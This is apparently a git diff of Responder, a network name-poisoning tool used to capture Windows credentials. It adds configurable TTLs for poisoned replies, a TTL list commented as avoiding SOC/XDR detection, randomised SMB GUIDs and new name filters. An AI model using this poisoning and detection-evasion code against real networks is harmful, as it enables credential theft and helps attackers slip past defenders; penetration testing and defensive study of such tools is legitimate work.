self.DHCP_DNS = options.DHCP_DNS
|
||||||
self.ExternalIP6 = options.ExternalIP6
|
self.ExternalIP6 = options.ExternalIP6
|
||||||
self.Quiet_Mode = options.Quiet
|
self.Quiet_Mode = options.Quiet
|
||||||
|
self.AnswerName = options.AnswerName
|
||||||
|
self.ErrorCode = options.ErrorCode
|
||||||
|
|
||||||
|
# TTL blacklist. Known to be detected by SOC / XDR
|
||||||
|
TTL_blacklist = [b"\x00\x00\x00\x1e", b"\x00\x00\x00\x78", b"\x00\x00\x00\xa5"]
|
||||||
|
# Lets add a default mode, which uses Windows default TTL for each protocols (set respectively in packets.py)
|
||||||
|
if options.TTL is None:
|
||||||
|
self.TTL = None
|
||||||
|
|
||||||
|
# Random TTL
|
||||||
|
elif options.TTL.upper() == "RANDOM":
|
||||||
|
TTL = bytes.fromhex("000000"+format(random.randint(10,90),'x'))
|
||||||
|
if TTL in TTL_blacklist:
|
||||||
|
TTL = int.from_bytes(TTL, "big")+1
|
||||||
|
TTL = int.to_bytes(TTL, 4)
|
||||||
|
self.TTL = TTL.decode('utf-8')
|
||||||
|
else:
|
||||||
|
self.TTL = bytes.fromhex("000000"+options.TTL).decode('utf-8')
|
||||||
|
|
||||||
|
#Do we have IPv6 for real?
|
||||||
|
self.IPv6 = utils.Probe_IPv6_socket()
|
||||||
|
|
||||||
if self.Interface == "ALL":
|
if self.Interface == "ALL":
|
||||||
self.Bind_To_ALL = True
|
self.Bind_To_ALL = True
|
||||||
|
@ -260,6 +287,7 @@ class Settings:
|
||||||
self.RespondTo = list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'RespondTo').strip().split(',')]))
|
self.RespondTo = list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'RespondTo').strip().split(',')]))
|
||||||
self.RespondToName = list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'RespondToName').strip().split(',')]))
|
self.RespondToName = list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'RespondToName').strip().split(',')]))
|
||||||
self.DontRespondTo = list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondTo').strip().split(',')]))
|
self.DontRespondTo = list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondTo').strip().split(',')]))
|
||||||
|
self.DontRespondToTLD = list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondToTLD').strip().split(',')]))
|
||||||
self.DontRespondToName_= list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondToName').strip().split(',')]))
|
self.DontRespondToName_= list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondToName').strip().split(',')]))
|
||||||
#add a .local to all provided DontRespondToName
|
#add a .local to all provided DontRespondToName
|
||||||
self.MDNSTLD = ['.LOCAL']
|
self.MDNSTLD = ['.LOCAL']
|
||||||
|
@ -332,10 +360,12 @@ class Settings:
|
||||||
NetworkCard = "Error fetching Network Interfaces:", ex
|
NetworkCard = "Error fetching Network Interfaces:", ex
|
||||||
pass
|
pass
|
||||||
try:
|
try:
|
||||||
DNS = subprocess.check_output(["cat", "/etc/resolv.conf"])
|
p = subprocess.Popen('resolvectl', stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
|
||||||
except subprocess.CalledProcessError as ex:
|
DNS = p.stdout.read()
|
||||||
DNS = "Error fetching DNS configuration:", ex
|
except:
|
||||||
pass
|
p = subprocess.Popen(['cat', '/etc/resolv.conf'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
|
||||||
|
DNS = p.stdout.read()
|
||||||
|
|
||||||
try:
|
try:
|
||||||
RoutingInfo = subprocess.check_output(["netstat", "-rn"])
|
RoutingInfo = subprocess.check_output(["netstat", "-rn"])
|
||||||
except:
|
except:
|
||||||
|
@ -348,7 +378,7 @@ class Settings:
|
||||||
Message = "%s\nCurrent environment is:\nNetwork Config:\n%s\nDNS Settings:\n%s\nRouting info:\n%s\n\n"%(utils.HTTPCurrentDate(), NetworkCard.decode('latin-1'),DNS.decode('latin-1'),RoutingInfo.decode('latin-1'))
|
Message = "%s\nCurrent environment is:\nNetwork Config:\n%s\nDNS Settings:\n%s\nRouting info:\n%s\n\n"%(utils.HTTPCurrentDate(), NetworkCard.decode('latin-1'),DNS.decode('latin-1'),RoutingInfo.decode('latin-1'))
|
||||||
try:
|
try:
|
||||||
utils.DumpConfig(self.ResponderConfigDump, Message)
|
utils.DumpConfig(self.ResponderConfigDump, Message)
|
||||||
utils.DumpConfig(self.ResponderConfigDump,str(self))
|
#utils.DumpConfig(self.ResponderConfigDump,str(self))
|
||||||
except AttributeError as ex:
|
except AttributeError as ex:
|
||||||
print("Missing Module:", ex)
|
print("Missing Module:", ex)
|
||||||
pass
|
pass
|
||||||
|
|
|
@ -106,7 +106,7 @@ def ParseNegotiateSMB2Ans(data):
|
||||||
|
|
||||||
def SMB2SigningMandatory(data):
|
def SMB2SigningMandatory(data):
|
||||||
global SMB2signing
|
global SMB2signing
|
||||||
if data[70:71] == b"\x03":
|
if data[70:71] == "\x03":
|
||||||
SMB2signing = "True"
|
SMB2signing = "True"
|
||||||
else:
|
else:
|
||||||
SMB2signing = "False"
|
SMB2signing = "False"
|
||||||
|
@ -123,7 +123,7 @@ def WorkstationFingerPrint(data):
|
||||||
b"\x06\x01" :"Windows 7/Server 2008R2",
|
b"\x06\x01" :"Windows 7/Server 2008R2",
|
||||||
b"\x06\x02" :"Windows 8/Server 2012",
|
b"\x06\x02" :"Windows 8/Server 2012",
|
||||||
b"\x06\x03" :"Windows 8.1/Server 2012R2",
|
b"\x06\x03" :"Windows 8.1/Server 2012R2",
|
||||||
b"\x0A\x00" :"Windows 10/Server 2016/2019 (check build)",
|
b"\x0A\x00" :"Windows 10/Server 2016/2022 (check build)",
|
||||||
}.get(data, 'Other than Microsoft')
|
}.get(data, 'Other than Microsoft')
|
||||||
|
|
||||||
def GetOsBuildNumber(data):
|
def GetOsBuildNumber(data):
|
||||||
|
@ -201,7 +201,7 @@ def IsDCVuln(t, host):
|
||||||
#####################
|
#####################
|
||||||
|
|
||||||
def IsSigningEnabled(data):
|
def IsSigningEnabled(data):
|
||||||
if data[39:40] == b"\x0f":
|
if data[39:40] == "\x0f":
|
||||||
return 'True'
|
return 'True'
|
||||||
else:
|
else:
|
||||||
return 'False'
|
return 'False'
|
||||||
|
@ -251,7 +251,6 @@ def DomainGrab(Host):
|
||||||
buffer0 = longueur(packet0)+packet0
|
buffer0 = longueur(packet0)+packet0
|
||||||
s.send(NetworkSendBufferPython2or3(buffer0))
|
s.send(NetworkSendBufferPython2or3(buffer0))
|
||||||
data = s.recv(2048)
|
data = s.recv(2048)
|
||||||
s.close()
|
|
||||||
if data[8:10] == b'\x72\x00':
|
if data[8:10] == b'\x72\x00':
|
||||||
return GetHostnameAndDomainName(data)
|
return GetHostnameAndDomainName(data)
|
||||||
except IOError as e:
|
except IOError as e:
|
||||||
|
@ -359,7 +358,7 @@ def ConnectAndChoseSMB(host):
|
||||||
if not data:
|
if not data:
|
||||||
break
|
break
|
||||||
except Exception:
|
except Exception:
|
||||||
pass
|
return False
|
||||||
else:
|
else:
|
||||||
return False
|
return False
|
||||||
|
|
||||||
|
|
|
@ -1,4 +1,5 @@
|
||||||
import random, struct, sys
|
import random, struct, sys, os
|
||||||
|
from os import urandom
|
||||||
from socket import *
|
from socket import *
|
||||||
from time import sleep
|
from time import sleep
|
||||||
from odict import OrderedDict
|
from odict import OrderedDict
|
||||||
|
@ -522,7 +523,7 @@ class SMBv2Negotiate(Packet):
|
||||||
("SecurityMode", "\x01\x00"),
|
("SecurityMode", "\x01\x00"),
|
||||||
("Reserved","\x00\x00"),
|
("Reserved","\x00\x00"),
|
||||||
("Capabilities","\x00\x00\x00\x00"),
|
("Capabilities","\x00\x00\x00\x00"),
|
||||||
("ClientGUID","\xd5\xa1\x5f\x6e\x9a\x75\xe1\x11\x87\x82\x00\x01\x4a\xf1\x18\xee"),
|
("ClientGUID", urandom(16).decode('latin-1')),
|
||||||
("ClientStartTime","\x00\x00\x00\x00\x00\x00\x00\x00"),
|
("ClientStartTime","\x00\x00\x00\x00\x00\x00\x00\x00"),
|
||||||
("Dialect1","\x02\x02"),
|
("Dialect1","\x02\x02"),
|
||||||
("Dialect2","\x10\x02"),
|
("Dialect2","\x10\x02"),
|
||||||
|
|
47
utils.py
47
utils.py
|
@ -30,6 +30,11 @@ try:
|
||||||
except:
|
except:
|
||||||
sys.exit('You need to install python-netifaces or run Responder with python3...\nTry "apt-get install python-netifaces" or "pip install netifaces"')
|
sys.exit('You need to install python-netifaces or run Responder with python3...\nTry "apt-get install python-netifaces" or "pip install netifaces"')
|
||||||
|
|
||||||
|
try:
|
||||||
|
import aioquic
|
||||||
|
except:
|
||||||
|
sys.exit('You need to install aioquic...\nTry "apt-get install python-aioquic" or "pip install aioquic"')
|
||||||
|
|
||||||
from calendar import timegm
|
from calendar import timegm
|
||||||
|
|
||||||
def if_nametoindex2(name):
|
def if_nametoindex2(name):
|
||||||
|
@ -122,7 +127,10 @@ def RespondToThisIP(ClientIp):
|
||||||
return False
|
return False
|
||||||
|
|
||||||
def RespondToThisName(Name):
|
def RespondToThisName(Name):
|
||||||
if settings.Config.RespondToName and Name.upper() not in settings.Config.RespondToName:
|
|
||||||
|
if [i for i in settings.Config.DontRespondToTLD if Name.upper().endswith(i)]:
|
||||||
|
return False
|
||||||
|
elif settings.Config.RespondToName and Name.upper() not in settings.Config.RespondToName:
|
||||||
return False
|
return False
|
||||||
elif Name.upper() in settings.Config.RespondToName or settings.Config.RespondToName == []:
|
elif Name.upper() in settings.Config.RespondToName or settings.Config.RespondToName == []:
|
||||||
if Name.upper() not in settings.Config.DontRespondToName:
|
if Name.upper() not in settings.Config.DontRespondToName:
|
||||||
|
@ -219,6 +227,16 @@ def FindLocalIP(Iface, OURIP):
|
||||||
print(color("[!] Error: %s: Interface not found" % Iface, 1))
|
print(color("[!] Error: %s: Interface not found" % Iface, 1))
|
||||||
sys.exit(-1)
|
sys.exit(-1)
|
||||||
|
|
||||||
|
def Probe_IPv6_socket():
|
||||||
|
"""Return true is IPv6 sockets are really supported, and False when IPv6 is not supported."""
|
||||||
|
if not socket.has_ipv6:
|
||||||
|
return False
|
||||||
|
try:
|
||||||
|
with socket.socket(socket.AF_INET6, socket.SOCK_STREAM) as s:
|
||||||
|
s.bind(("::1", 0))
|
||||||
|
return True
|
||||||
|
except:
|
||||||
|
return False
|
||||||
|
|
||||||
def FindLocalIP6(Iface, OURIP):
|
def FindLocalIP6(Iface, OURIP):
|
||||||
if Iface == 'ALL':
|
if Iface == 'ALL':
|
||||||
|
@ -234,7 +252,6 @@ def FindLocalIP6(Iface, OURIP):
|
||||||
s = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM)
|
s = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM)
|
||||||
s.connect((randIP+':80', 1))
|
s.connect((randIP+':80', 1))
|
||||||
IP = s.getsockname()[0]
|
IP = s.getsockname()[0]
|
||||||
print('IP is: %s'%IP)
|
|
||||||
return IP
|
return IP
|
||||||
except:
|
except:
|
||||||
try:
|
try:
|
||||||
|
@ -468,26 +485,18 @@ def banner():
|
||||||
])
|
])
|
||||||
|
|
||||||
print(banner)
|
print(banner)
|
||||||
print("\n \033[1;33mNBT-NS, LLMNR & MDNS %s\033[0m" % settings.__version__)
|
|
||||||
print('')
|
|
||||||
print(" To support this project:")
|
|
||||||
print(" Github -> https://github.com/sponsors/lgandx")
|
|
||||||
print(" Paypal -> https://paypal.me/PythonResponder")
|
|
||||||
print('')
|
|
||||||
print(" Author: Laurent Gaffie (laurent.gaffie@gmail.com)")
|
|
||||||
print(" To kill this script hit CTRL-C")
|
|
||||||
print('')
|
print('')
|
||||||
|
|
||||||
|
|
||||||
def StartupMessage():
|
def StartupMessage():
|
||||||
enabled = color('[ON]', 2, 1)
|
enabled = color('[ON]', 2, 1)
|
||||||
disabled = color('[OFF]', 1, 1)
|
disabled = color('[OFF]', 1, 1)
|
||||||
|
print(color("[*] ", 2, 1)+"Sponsor Responder: https://paypal.me/PythonResponder")
|
||||||
print('')
|
print('')
|
||||||
print(color("[+] ", 2, 1) + "Poisoners:")
|
print(color("[+] ", 2, 1) + "Poisoners:")
|
||||||
print(' %-27s' % "LLMNR" + (enabled if settings.Config.AnalyzeMode == False else disabled))
|
print(' %-27s' % "LLMNR" + (enabled if (settings.Config.AnalyzeMode == False and settings.Config.LLMNR_On_Off) else disabled))
|
||||||
print(' %-27s' % "NBT-NS" + (enabled if settings.Config.AnalyzeMode == False else disabled))
|
print(' %-27s' % "NBT-NS" + (enabled if (settings.Config.AnalyzeMode == False and settings.Config.NBTNS_On_Off) else disabled))
|
||||||
print(' %-27s' % "MDNS" + (enabled if settings.Config.AnalyzeMode == False else disabled))
|
print(' %-27s' % "MDNS" + (enabled if (settings.Config.AnalyzeMode == False and settings.Config.MDNS_On_Off) else disabled))
|
||||||
print(' %-27s' % "DNS" + enabled)
|
print(' %-27s' % "DNS" + enabled)
|
||||||
print(' %-27s' % "DHCP" + (enabled if settings.Config.DHCP_On_Off else disabled))
|
print(' %-27s' % "DHCP" + (enabled if settings.Config.DHCP_On_Off else disabled))
|
||||||
print('')
|
print('')
|
||||||
|
@ -550,6 +559,12 @@ def StartupMessage():
|
||||||
print(' %-27s' % "Don't Respond To" + color(str(settings.Config.DontRespondTo), 5, 1))
|
print(' %-27s' % "Don't Respond To" + color(str(settings.Config.DontRespondTo), 5, 1))
|
||||||
if len(settings.Config.DontRespondToName):
|
if len(settings.Config.DontRespondToName):
|
||||||
print(' %-27s' % "Don't Respond To Names" + color(str(settings.Config.DontRespondToName), 5, 1))
|
print(' %-27s' % "Don't Respond To Names" + color(str(settings.Config.DontRespondToName), 5, 1))
|
||||||
|
if len(settings.Config.DontRespondToTLD):
|
||||||
|
print(' %-27s' % "Don't Respond To MDNS TLD" + color(str(settings.Config.DontRespondToTLD), 5, 1))
|
||||||
|
if settings.Config.TTL == None:
|
||||||
|
print(' %-27s' % "TTL for poisoned response "+ color('[default]', 5, 1))
|
||||||
|
else:
|
||||||
|
print(' %-27s' % "TTL for poisoned response" + color(str(settings.Config.TTL.encode().hex()) + " ("+ str(int.from_bytes(str.encode(settings.Config.TTL),"big")) +" seconds)", 5, 1))
|
||||||
print('')
|
print('')
|
||||||
|
|
||||||
print(color("[+] ", 2, 1) + "Current Session Variables:")
|
print(color("[+] ", 2, 1) + "Current Session Variables:")
|
||||||
|
@ -557,3 +572,7 @@ def StartupMessage():
|
||||||
print(' %-27s' % "Responder Domain Name" + color('[%s]' % settings.Config.DomainName, 5, 1))
|
print(' %-27s' % "Responder Domain Name" + color('[%s]' % settings.Config.DomainName, 5, 1))
|
||||||
print(' %-27s' % "Responder DCE-RPC Port " + color('[%s]' % settings.Config.RPCPort, 5, 1))
|
print(' %-27s' % "Responder DCE-RPC Port " + color('[%s]' % settings.Config.RPCPort, 5, 1))
|
||||||
|
|
||||||
|
#credits
|
||||||
|
print('')
|
||||||
|
print(color("[*] ", 2, 1)+"Version: "+settings.__version__)
|
||||||
|
print(color("[*] ", 2, 1)+"Author: Laurent Gaffie, <lgaffie@secorizon.com>")
|
||||||
|
|
Loading…
Add table
Add a link
Reference in a new issue